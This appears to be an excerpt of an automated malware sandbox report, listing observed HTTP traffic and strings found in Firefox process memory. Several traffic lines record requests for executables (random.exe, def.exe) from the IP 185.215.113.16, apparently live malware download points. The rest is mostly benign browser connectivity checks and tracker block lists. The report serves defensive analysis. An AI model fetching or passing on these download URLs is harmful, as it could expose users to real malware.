Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 18 Nov 2024 19:15:48 GMTIf-None-Match: "673b9264-e1200"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 18 Nov 2024 19:16:14 GMTIf-None-Match: "673b927e-2abc00"
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/intervention_helpers.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/intervention_helpers.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/intervention_helpers.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/MAX(EXISTS( equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/MAX(EXISTS( equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2732727225.00000283C2230000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2732727225.00000283C22D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/network/safe-file-output-stream;1://www.rva311.com/static/js/main..chunk.js://connect.facebook.net//all.jspictureinpicture%40mozilla.org:1.0.0FileUtils_closeSafeFileOutputStream://www.everestjs.net/static/st.v3.jsresource://gre/modules/FileUtils.sys.mjs://cdn.branch.io/branch-latest.min.js@mozilla.org/network/file-output-stream;1://ssl.google-analytics.com/ga.js://static.adsafeprotected.com/iasPET.1.js://www.google-analytics.com/plugins/ua/ec.js://www.googletagmanager.com/gtm.js://adservex.media.net/videoAds.js://www.google-analytics.com/analytics.js://pagead2.googlesyndication.com/tag/js/gpt.js://.moatads.com//moatheader.js://cdn.optimizely.com/public/.js://www.googletagservices.com/tag/js/gpt.js://.vidible.tv//vidible-min.js://imasdk.googleapis.com/js/sdkloader/ima3.js://cdn.adsafeprotected.com/iasPET.1.js://js.maxmind.com/js/apis/geoip2//geoip2.js://www.google-analytics.com/gtm/js://s.webtrends.com/js/advancedLinkTracking.js://s0.2mdn.net/instream/html5/ima3.js*://s.webtrends.com/js/webtrends.min.jsTelemetrySession::onEnvironmentChange equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C200D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.2658257658.00000283C91FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
